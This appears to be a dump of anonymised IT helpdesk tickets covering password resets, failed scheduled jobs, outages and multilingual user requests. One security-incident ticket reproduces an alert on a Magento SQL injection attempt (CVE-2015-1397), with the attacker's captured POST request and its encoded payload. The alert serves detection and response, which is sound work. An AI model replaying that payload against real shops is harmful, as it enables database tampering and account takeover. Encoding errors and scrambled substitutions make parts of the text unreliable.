, is assigned to Assignment group: GRP\_16.Ticket with Short description: computer unable to connection company network., Description: computer unable to connection company network. pc got ip address --192.168.32.100, is assigned to Assignment group: GRP\_31.Ticket with Short description: der mitarbeiter schrenfgker heinrifgtch (pn 50388) benÃ¶tigt zugriff im pulverleitstand (lesen & eintragen)., Description: der mitarbeiter schrenfgker heinrifgtch (pn 50388) benÃ¶tigt zugriff im pulverleitstand (lesen & eintragen). , is assigned to Assignment group: GRP\_25.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: account locked in ad, Description: account locked in ad, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to create stock recall form, Description: \_x000D\_
\_x000D\_
received from: rjanhbde.owfkyjcp@gmail.com\_x000D\_
\_x000D\_
helloâ€¦.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image003.jpg@01SID\_35266.3a795500]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
warm , is assigned to Assignment group: GRP\_0.Ticket with Short description: eeml8143294 / wlan lÃ¤sst sich nicht per knopfdruck de-/aktivieren, Description: eeml8143294 / wlan lÃ¤sst sich nicht per knopfdruck de-/aktivieren (xvwchsdg pladjmxt ist informiert)
bitte zu haende hrrn pries., is assigned to Assignment group: GRP\_42.Ticket with Short description: atp not getting committed in SID\_1, Description: \_x000D\_
\_x000D\_
received from: iwqfelcu.gsubfiml@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
please note that atp is not getting committed in SID\_1. the screen shot of error msg. is given below.\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35260.f9ddd1b0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_6.Ticket with Short description: vpn ä¸èƒ½è¿žæŽ¥, Description: vpn ä¸èƒ½è¿žæŽ¥, is assigned to Assignment group: GRP\_31.Ticket with Short description: how to change password in outllok, Description:
name:srinfhyath
language:
browser:microsoft internet explorer
email:kflqpite.gbeoqsnc@gmail.com
customer number:
telephone:
summary:how to change password in outllok, is assigned to Assignment group: GRP\_0.Ticket with Short description: time cards not automatically generating., Description: time cards not automatically generating., is assigned to Assignment group: GRP\_36.Ticket with Short description: vvdgtyachac, Description:
received from: aksthyuhath.shettythruy@company.com
hi,
below mentioned apprentice is unable to login his desktop. please reset the password.
emp no
name
useid
20271667
cheghthan achghar
vvdgtyachac
with , is assigned to Assignment group: GRP\_0.Ticket with Short description: ç™»å½•è¿›åŽ»åŽæ— æ³•æ–°å»ºå®¢æˆ·ä¿¡æ¯ï¼Œæ— æ³•æŠ¥ä»·, Description: ~connect\_ui/setting/view?brand=kd&language=zh-cn&dv=1474256654564 è¿™æ˜¯ç™»å½•è¿›åŽ»åŽçš„æ“ä½œç•Œé¢ï¼Œé”€å”®ç»„ç»‡æ— æ³•ç¼–è¾‘ï¼Œä¸èƒ½å»ºå®¢æˆ·ï¼ŒæŠ¥ä»·ä¹ŸæŠ¥ä¸äº†ï¼Œè¯·å¸®å¿™å¤„ç†ä¸‹ï¼Œæ„Ÿè°¢ï¼ \_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_31.Ticket with Short description: erp SID\_34 account locked , Description: erp SID\_34 account locked , is assigned to Assignment group: GRP\_0.Ticket with Short description: job hr\_payroll\_na\_u1 failed in job\_scheduler at: 09/18/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u1 failed in job\_scheduler at: 09/18/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u6 failed in job\_scheduler at: 09/18/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u6 failed in job\_scheduler at: 09/18/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: job hr\_payroll\_na\_u2 failed in job\_scheduler at: 09/18/2016 23:00:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job hr\_payroll\_na\_u2 failed in job\_scheduler at: 09/18/2016 23:00:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: reset password, Description:
received from: rxoynvgi.ntgdsehl@gmail.com
hi it team
kindly please assist to reset SID\_34 password for user: kassia
hydstheud mddwwyleh
operation supervisor
company distribution services of asia pte ltd
email : rxoynvgi.ntgdsehl@gmail.com<mailto:rxoynvgi.ntgdsehl@gmail.com>, is assigned to Assignment group: GRP\_0.Ticket with Short description: job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 09/18/2016 22:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkwin\_HostName\_768\_inc failed in job\_scheduler at: 09/18/2016 22:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: how to connect to mobile hotspot , Description: how to connect to mobile hotspot , is assigned to Assignment group: GRP\_0.Ticket with Short description: ie æµè§ˆå™¨é—®é¢˜,æœç´¢ç½‘é¡µåŽä¸èƒ½æ‰“å¼€ã€‚, Description: ie æµè§ˆå™¨é—®é¢˜,æœç´¢ç½‘é¡µåŽä¸èƒ½æ‰“å¼€ã€‚, is assigned to Assignment group: GRP\_31.Ticket with Short description: reset passwords for jerydwbn gdylnaue using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: unable to login to microsoft account and need password, Description: unable to login to microsoft account and need password, is assigned to Assignment group: GRP\_0.Ticket with Short description: inquiry on erp availability., Description: inquiry on erp availability., is assigned to Assignment group: GRP\_0.Ticket with Short description: lhqSID\_1855: h:\ is is over 85% space consumed. space available: 2.2 g.. , Description: volume: h:\ label:oraarch 844d5322 on server: lhqSID\_1855 is over 85% space consumed. space available: 2.2 g, is assigned to Assignment group: GRP\_1.Ticket with Short description: circuit outage:Â·2 mbps internet link to telecom\_vendor\_1 circuit id on company-ap-ind-india-dmvpn-1811-rtr.company.com is down since 5:15 pm, Description: what type of outage: \_\_\_\_\_network \_\_x\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_5:15 pm et on 09/18\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_no\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_no\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_primary is active\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_na\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_telecom\_vendor\_1#24095925\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_(yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to login to system, Description: unable to login to system, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1388 failed in job\_scheduler at: 09/18/2016 18:39:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1388 failed in job\_scheduler at: 09/18/2016 18:39:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job bkbackup\_tool\_csqe\_prod\_inc failed in job\_scheduler at: 09/18/2016 18:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job bkbackup\_tool\_csqe\_prod\_inc failed in job\_scheduler at: 09/18/2016 18:15:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1422 failed in job\_scheduler at: 09/18/2016 14:10:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1422 failed in job\_scheduler at: 09/18/2016 14:10:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: erp password block, Description:
received from: rhwvpmlq.zuwhpqrc@gmail.com
dear sir,
my erp password is blocked , request you to kindly re-set the password.
employee code : 20275682
login id : achghyardr
, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset passwords for dmexgspl mruzqhac using password\_management\_tool password reset., Description: the, is assigned to Assignment group: GRP\_17.Ticket with Short description: job snp\_heu\_6\_regen failed in job\_scheduler at: 09/18/2016 11:56:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job snp\_heu\_6\_regen failed in job\_scheduler at: 09/18/2016 11:56:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: skype : personal certificate issue , Description: skype : personal certificate issue , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1348a failed in job\_scheduler at: 09/18/2016 11:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1348a failed in job\_scheduler at: 09/18/2016 11:33:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1353 failed in job\_scheduler at: 09/18/2016 11:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1353 failed in job\_scheduler at: 09/18/2016 11:33:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: why we can't use the outlook groups ? , Description: \_x000D\_
\_x000D\_
received from: bmudkpie.qolrvbip@gmail.com\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: abend batch job:Job\_1391, Description: job name:Job\_1391, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1391 failed in job\_scheduler at: 09/18/2016 10:39:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1391 failed in job\_scheduler at: 09/18/2016 10:39:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 09/18/2016 09:58:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 09/18/2016 09:58:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: ooo until 30.9.2016 : engineering\_tool, Description: \_x000D\_
\_x000D\_
received from: wsczgfal.hjfklsdg@gmail.com\_x000D\_
\_x000D\_
witam,\_x000D\_
\_x000D\_
zgÅ‚aszam kÅ‚opoty z engineering\_tool-em\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_351c2.c943d840]\_x000D\_
\_x000D\_
nie moÅ¼na zrobiÄ‡ synchronizacji, brak raportÃ³w itp.\_x000D\_
\_x000D\_
pozdrawiam/best , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked out and password reset , Description: erp SID\_34 account locked out and password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1348 failed in job\_scheduler at: 09/18/2016 08:38:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1348 failed in job\_scheduler at: 09/18/2016 08:38:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: power outage :south\_amerirtca :site is hard down since at 8:19 am et on 09/18., Description: what type of outage: \_\_x\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_\_\_no\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_8:19 am et on 09/18\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_na\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_1368 failed in job\_scheduler at: 09/18/2016 08:14:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1368 failed in job\_scheduler at: 09/18/2016 08:14:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job Job\_1382 failed in job\_scheduler at: 09/18/2016 08:04:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1382 failed in job\_scheduler at: 09/18/2016 08:04:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job pp\_EU\_tool\_netch\_keheu1 failed in job\_scheduler at: 09/18/2016 07:36:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job pp\_EU\_tool\_netch\_keheu1 failed in job\_scheduler at: 09/18/2016 07:36:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: skype login issue : personal certificate issue, Description:
summary:my skype business cannot login, error message is " there was a problem acquiring personal certificate required to sign in"
please help to solve this. , is assigned to Assignment group: GRP\_0.Ticket with Short description: apac company: fastethernet0/48 Â· uplink to company-ap-chn-apac-2950-24-access-sw05 is down since 23:31 et on 09/17, Description: apac company: company-ap-chn-apac-shop-closet-2960-access-sw01.company.com - fastethernet0/48 Â· uplink to company-ap-chn-apac-2950-24-access-sw05 since 23:31 et on 09/17., is assigned to Assignment group: GRP\_4.Ticket with Short description: job Job\_1384 failed in job\_scheduler at: 09/18/2016 07:09:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1384 failed in job\_scheduler at: 09/18/2016 07:09:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: job co\_val\_update\_crosscomp failed in job\_scheduler at: 09/18/2016 05:50:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job co\_val\_update\_crosscomp failed in job\_scheduler at: 09/18/2016 05:50:00, is assigned to Assignment group: GRP\_10.Ticket with Short description: only erp running slow since last 3-4 hours in Israel.internet is working fine., Description: only erp running slow since last 3-4 hours. internet is working fine.
all transactions are running slow.
contact # :
erp system : SID\_34 (all transactions)
checked with dac team, no issues as such.
dac team checking with utilization now.
dac confirmed that utilization is high since last half an hour.
calling erp basis on call support : on call support
, is assigned to Assignment group: GRP\_14.Ticket with Short description: job Job\_3343 failed in job\_scheduler at: 09/18/2016 05:01:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3343 failed in job\_scheduler at: 09/18/2016 05:01:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: security incidents - ( sw #in33895560 ) : magento sql injection, Description: source ip : 172.20.10.37 , 208.211.136.158
system name : whqsm010 , reference.company.com (
user name: n/a
location : dmz
sep , sms status :
field sales user ( yes / no) :
dsw event log: see below
\*\*
the ctoc has received at least 4 occurrences of '52853 vid68372 possible magento mage\_adminhtml\_block\_widget\_gridgetcsvfile() sql injection attempt inbound (cve-2015-1397)' alerts from your isensor device (208.211.136.207/isensplant\_247.company.com) for traffic (not blocked) sourcing from port 55334/tcp of 166.78.155.100 (dallas, usa) destined to port 80/tcp of 208.211.136.158 (usa, usa) that occurred on 2016-09-17 at 11:35:02. this indicates that the external host at 166.78.155.100 and possibly other sources are attempting to discover if your public facing servers including 208.211.136.158 is vulnerable to the "magento mage\_adminhtml\_block\_widget\_grid::getcsvfile() sql injection vulnerability" described in cve-2015-1397.
this ticket will effectively serve as a master ticket for any related alerts until we receive feedback from you on how to handle these events going forward. please let us know either by corresponding to us via this ticket and delegating the ticket back to the ctoc, or by calling us at we have a number of options available for the handling of future alerts such as this one:
1) autoresolve these alerts directly to the portal (no explicit notification and events will be available for reporting purposes in the portal). this is most likely the best choice if you are not running the application being targeted.
2) ticket only escalation via a medium priority ticket (no phone call) for each unique source ip address for these alerts (this may generate a relatively large volume of incident tickets).
3) full escalation via a high priority ticket and a phone call for each unique source ip address.
we would not recommend options 2 and 3 since the exploit code is in the wild and merely identifying the sources of the attack may not be very useful, and we can always run reports on the portal to identify a list of attackers. instead we would recommend auditing your environment for vulnerable systems and updating them as necessary. once you have completed this, you could go with option 1 to suppress alerting on these events.
sincerely,
ctoc
=========================
technical details
=========================
a vulnerability exists in magento due to insufficient input validation within the mage\_adminhtml\_block\_widget\_grid::getcsvfile() function. a remote attacker could exploit this vulnerability to conduct sql injection attacks on vulnerable systems.
magento is an eusa platform. a vulnerability exists in magento commstorage\_product edition (ce) versions 1.4.00 through 1.5.0.1, version 1.5.1.0, versions 1.6.0.x, versions 1.6.1.x through 1.6.2.x, versions 1.7.x, and versions 1.8.x and 1.9.x and in magento enterprise edition (ee) versions prior to 1.14.2.0 due to insufficient input validation. user-controllable supplied via the 'popularity[field\_expr]' paramdntyeter, when the 'popularity[from]' or 'popularity[to]' paramdntyeter is set, is not properly sanitized for illegal or malicious content by the mage\_adminhtml\_block\_widget\_grid::getcsvfile() function prior to being stored in a $fieldname variable and used in an sql query. remote administrators could leverage this issue to conduct sql injection attacks by injectncqulao qauighdplicious sql code into an affected input. successful exploitation may permit an attacker to manipulate sql queries and execute arbitrary sql commands on the underlying database.
=========================
references
=========================
=========================
event data
=========================
related events:
event id: 44717197
event summary: 52853 vid68372 possible magento mage\_adminhtml\_block\_widget\_gridgetcsvfile() sql injection attempt inbound
occurrence count: 4
event count: 4
host and connection information
source ip: 166.78.155.100
source port: 55334
source ip geolocation: dallas, usa
destination ip: 208.211.136.158
destination port: 80
destination ip geolocation: usa, usa
connection directionality: incoming
protocol: tcp
http method: post
host: www.company.de
full url path: /admin/cms\_wysiwyg/directive/index/
device information
device ip: 208.211.136.207
device name: isensplant\_247.company.com
log time: 2016-09-17 at 11:35:02 utc
action: not blocked
vendor eventid: 393369
cvss score: 6.5
vendor priority: 2
vendor version: 7
scwx event processing information
sherlock rule id (sle): 2161562
inspector event id: 63726775
ontology id: 200020003203759378
event type id: 200020003203707850
agent id: 102989
event detail:
[\*\*] [1:21163964:2] 52853 vid68372 possible magento mage\_adminhtml\_block\_widget\_gridgetcsvfile() sql injection attempt inbound [\*\*]
[classification: none] [priority: 2] [action: accept\_passive] [impact\_flag: 0] [impact: 0] [blocked: 2] [vlan: 0] [mpls label: 0] [pad2: 1]
[sensor id: 602981][event id: 393369][time: 2585223213.930745]
[src ip: 166.78.155.100][dst ip: 208.211.136.158][sport/itype: 55334][dport/icode: 80][proto: 6]
09/17/2016-11:35:02.930745 166.78.155.100:55334 -> 208.211.136.158:80
tcp ttl:54 tos:0x0 id:26997 iplen:20 dgmlen:1236 df
\*\*\*ap\*\*\* seq: 0x595823f2 ack: 0x6b4edac2 win: 0xe5 tcplen: 32
tcp options (3) => nop nop ts: 4341465171 309732804
==pcap 1==
[ex http\_uri 9: /admin/cms\_wysiwyg/directive/index/]
[ex http\_hostname 10: www.company.de]
[o:security]
ascii packet(s):
==pcap 1 ascii s==
....f\*.w.3..........e...iu@.6.;..n.d.....&.pyx#.kn.......9........j....apost./admin/cms\_wysiwyg/directive/index/.http/1.1..host:.www.company.de..accept:.\*/\*..content-length:.1022..content-type:.application/x-www-form-urlencoded....filter=\_chain9szv90exbllhvzzxjfawqsupply\_chain9szv9uyw1lksbwquxvrvmgkdesmiwwlcdvjywou0vmrunuihvzzxjfawqgrljptsbhzg1pbl91c2vyifdirvjfihvzzxjuyw1lid0gj3bvbgljescplcdgaxjzdg5hbwunkts=&\_\_\_directive=e3tibg9jayb0exblpufkbwluahrtbc9yzxbvcnrfc2vhcmnox2dyawqgb3v0chv0pwdldenzdkzpbgv9fq==&forwarded=1&
==pcap 1 ascii e==
hex packet(s):
==pcap 1 hex s==
000000 0c00 0000 662a dd57 b933 0e00 d404 0000 ....f\*.w.3......
000010 d404 0000 4500 04d4 6975 4000 3606 3b8a ....e...iu@.6.;.
000020 a64e 9b64 d0d3 889e d826 0050 5958 23f2 .n.d.....&.pyx#.
000030 6b4e dac2 8018 00e5 f939 0000 0101 080a kn.......9......
000040 c08b 4a8c 11cc 9b61 504f 5354 202f 6164 ..j....apost./ad
000050 6d69 6e2f 436d 735f 5779 7369 7779 672f min/cms\_wysiwyg/
000060 6469 7265 6374 6976 652f 696e 6465 782f directive/index/
000070 2048 5454 502f 312e 310d 0a48 6f73 743a .http/1.1..host:
000080 2077 7777 2e6b 656e 6e61 6d65 7461 6c2e .www.company.
000090 6465 0d0a 4163 6365 7074 3a20 2a2f 2a0d de..accept:.\*/\*.
0000a0 0a43 6f6e 7465 6e74 2d4c 656e 6774 683a .content-length:
0000b0 2031 3032 320d 0a43 6f6e 7465 6e74 2d54 .1022..content-t
0000c0 7970 653a 2061 7070 6c69 6361 7469 6f6e ype:.application
0000d0 2f78 2d77 7777 2d66 6f72 6d2d 7572 6c65 /x-www-form-urle
0000e0 6e63 6f64 6564 0d0a 0d0a 6669 6c74 6572 ncoded....filter
0000f0 3d63 4739 7764 5778 6863 6d6c 3065 5674 =cg9wdwxhcml0evt
000100 6d63 6d39 7458 5430 774a 6e42 7663 4856 mcm9txt0wjnbvchv
000110 7359 584a 7064 486c 6264 4739 6450 544d syxjpdhlbdg9dptm
000120 6d63 4739 7764 5778 6863 6d6c 3065 5674 mcg9wdwxhcml0evt
000130 6SID\_26 5756 735a 4639 6c65 4842 7958 5430 mawvszf9lehbyxt0
000140 774b 5474 5452 5651 6751 464e 4254 4651 wktttrvqgqfnbtfq
000150 6750 5341 6e63 6e41 6e4f 314e 4656 4342 gpsancnano1nfvcb
000160 4155 4546 5455 7941 3949 454e 5054 6b4e aueftuya9ienptkn
000170 4256 4368 4e52 4455 6f51 3039 4f51 3046 bvchnrduoq09oq0f
000180 554b 4342 4155 3046 4d56 4341 7349 4364 ukcbau0fmvcasicd
000190 305a 5731 775a 5773 6e4b 5341 704c 4342 0zw1wzwsnkerplcb
0001a0 4454 3035 4451 5651 6f4a 7a6f 6e4c 4342 dt05dqvqojzonlcb
0001b0 4155 3046 4d56 4341 704b 5474 5452 5578 au0fmvcapktttrux
0001c0 4651 3151 6751 4556 5956 464a 4249 446f fq1qgqevyvfjbido
0001d0 3949 4531 4257 4368 6c65 4852 7959 536b 9ie1bwchlehryysk
0001e0 6752 6c4a 5054 5342 685a 4731 7062 6c39 grljptsbhzg1pbl9
0001f0 3163 3256 7949 4664 4952 564a 4649 4756 1c2vyifdirvjfigv
000200 3464 484a 6849 456c 5449 4535 5056 4342 4dhjhieltie5pvcb
000210 4f56 5578 4d4f 306c 4f55 3056 5356 4342 ovuxmo0lou0vsvcb
000220 4a54 6c52 5049 4742 685a 4731 7062 6c39 jtlrpigbhzg1pbl9
000230 3163 3256 7959 4341 6f59 475a 7063 6e4e 1c2vyycaoygzpcnn
000240 3062 6d46 745a 5741 7349 4742 7359 584e 0bmftzwasigbsyxn
000250 3062 6d46 745a 5741 7359 4756 7459 576c 0bmftzwasygvtywl
000260 7359 4378 6764 584e 6c63 6d35 6862 5756 sycxgdxnlcm5hbwv
000270 674c 4742 7759 584e 7a64 3239 795a 4741 glgbwyxnzd29yzga
000280 7359 474e 795a 5746 305a 5752 674c 4742 sygnyzwf0zwrglgb
000290 7362 3264 7564 5731 674c 4742 795a 5778 sb2dudfrtglgbyzwx
0002a0 7659 5752 6659 574e 7358 325a 7359 5764 vywrfywnsx2zsywd
0002b0 674c 4742 7063 3139 6859 3352 7064 6d56 glgbpc19hy3rpdmv
0002c0 674c 4742 6c65 4852 7959 5741 7359 484a glgblehryywasyhj
0002d0 7758 3352 7661 3256 7559 4378 6763 6e42 wx3rva2vuycxgcnb
0002e0 6664 4739 725a 5735 6659 334a 6c59 5852 fdg9rzw5fy3jlyxr
0002f0 6c5a 4639 6864 4741 7049 465a 4254 4656 lzf9hdgapifzbtfv
000300 4655 7941 6f4a 305a 7063 6e4e 3062 6d46 fuyaoj0zpcnn0bmf
000310 745a 5363 734a 3078 6863 3352 7559 5731 tzscsj0xhc3ruyw1
000320 6c4a 7977 6e63 3256 6a64 584a 7064 486c ljywnc2vjdxjpdhl
000330 4162 5746 6e5a 5735 3062 324e 7662 5731 abwfnzw50b2nvbw1
000340 6c63 6d4e 6c4c 6d4e 7662 5363 734a 3342 lcmnllmnvbscsj3b
000350 7662 476c 6a65 5363 7351 4642 4255 314d vbgljescsqfbbu1m
000360 7354 6b39 584b 436b 734d 4377 774c 4445 stk9xkcksmcwwlde
000370 7351 4556 5956 464a 424c 4535 5654 4577 sqevyvfjble5vtew
000380 7349 4535 5056 7967 704b 5474 4a54 6c4e sie5pvygpkttjtln
000390 4655 6c51 6753 5535 5554 7942 6759 5752 fulqgsu5utybgywr
0003a0 7461 5735 6663 6d39 735a 5741 674b 4842 taw5fcm9szwagkhb
0003b0 6863 6d56 7564 4639 705a 4378 3063 6d56 hcmvudf9pzcx0cmv
0003c0 6c58 3278 6c64 6d56 734c 484e 7663 6e52 lx2xldmvslhnvcnr
0003d0 6662 334a 6b5a 5849 7363 6d39 735a 5639 fb3jkzxisupply\_chain9szv9
0003e0 3065 5842 6c4c 4856 7a5a 584a 6661 5751 0exbllhvzzxjfawq
0003f0 7363 6d39 735a 5639 7559 5731 6c4b 5342 supply\_chain9szv9uyw1lksb
000400 5751 5578 5652 564d 674b 4445 734d 6977 wquxvrvmgkdesmiw
000410 774c 4364 564a 7977 6f55 3056 4d52 554e wlcdvjywou0vmrun
000420 5549 4856 7a5a 584a 6661 5751 6752 6c4a uihvzzxjfawqgrlj
000430 5054 5342 685a 4731 7062 6c39 3163 3256 ptsbhzg1pbl91c2v
000440 7949 4664 4952 564a 4649 4856 7a5a 584a yifdirvjfihvzzxj
000450 7559 5731 6c49 4430 674a 3342 7662 476c uyw1lid0gj3bvbgl
000460 6a65 5363 704c 4364 4761 584a 7a64 4735 jescplcdgaxjzdg5
000470 6862 5755 6e4b 5473 3d26 5f5f 5f64 6972 hbwunkts=&\_\_\_dir
000480 6563 7469 7665 3d65 3374 6962 4739 6a61 ective=e3tibg9ja
000490 7942 3065 5842 6c50 5546 6b62 576c 7561 yb0exblpufkbwlua
0004a0 4852 7462 4339 795a 5842 7663 6e52 6663 hrtbc9yzxbvcnrfc
0004b0 3256 6863 6d4e 6f58 3264 7961 5751 6762 2vhcmnox2dyawqgb
0004c0 3356 3063 4856 3050 5764 6c64 454e 7a64 3v0chv0pwdldenzd
0004d0 6b5a 7062 4756 3966 513d 3d26 666f 7277 kzpbgv9fq==&forw
0004e0 6172 6465 643d 3126 arded=1&
==pcap 1 hex e==
[[3 of 4 events not shown due to space constraints]]
take action
ticket action:, is assigned to Assignment group: GRP\_39.Ticket with Short description: can not post dn#9169336870 under rma#6001502124, Description:
received from: wktesmbp.lorjymef@gmail.com
dear team,
pls. help to check below issue~
return dn#9169336870 can not be posted due to bath issue,but we can not key in anything in batch blank.
pls. help to handle it,thx a lot!
[cid:image001.png@01SID\_351bc.f1978a90]
[cid:image002.jpg@01SID\_351bc.f1978a90]
b.rgds
judthtihty.zhuyhts
company hardpoint apac-wgq dc
, is assigned to Assignment group: GRP\_18.Ticket with Short description: security incidents - ( sw #in33895560 ) : magento sql injection, Description: source ip : 172.20.10.37 , 208.211.136.158
system name : whqsm010 , reference.company.com (
user name: n/a
location : dmz
sep , sms status :
field sales user ( yes / no) :
dsw event log: see below
\*\*
the ctoc has received at least 4 occurrences of '52853 vid68372 possible magento mage\_adminhtml\_block\_widget\_gridgetcsvfile() sql injection attempt inbound (cve-2015-1397)' alerts from your isensor device (208.211.136.207/isensplant\_247.company.com) for traffic (not blocked) sourcing from port 55334/tcp of 166.78.155.100 (dallas, usa) destined to port 80/tcp of 208.211.136.158 (usa, usa) that occurred on 2016-09-17 at 11:35:02. this indicates that the external host at 166.78.155.100 and possibly other sources are attempting to discover if your public facing servers including 208.211.136.158 is vulnerable to the "magento mage\_adminhtml\_block\_widget\_grid::getcsvfile() sql injection vulnerability" described in cve-2015-1397.
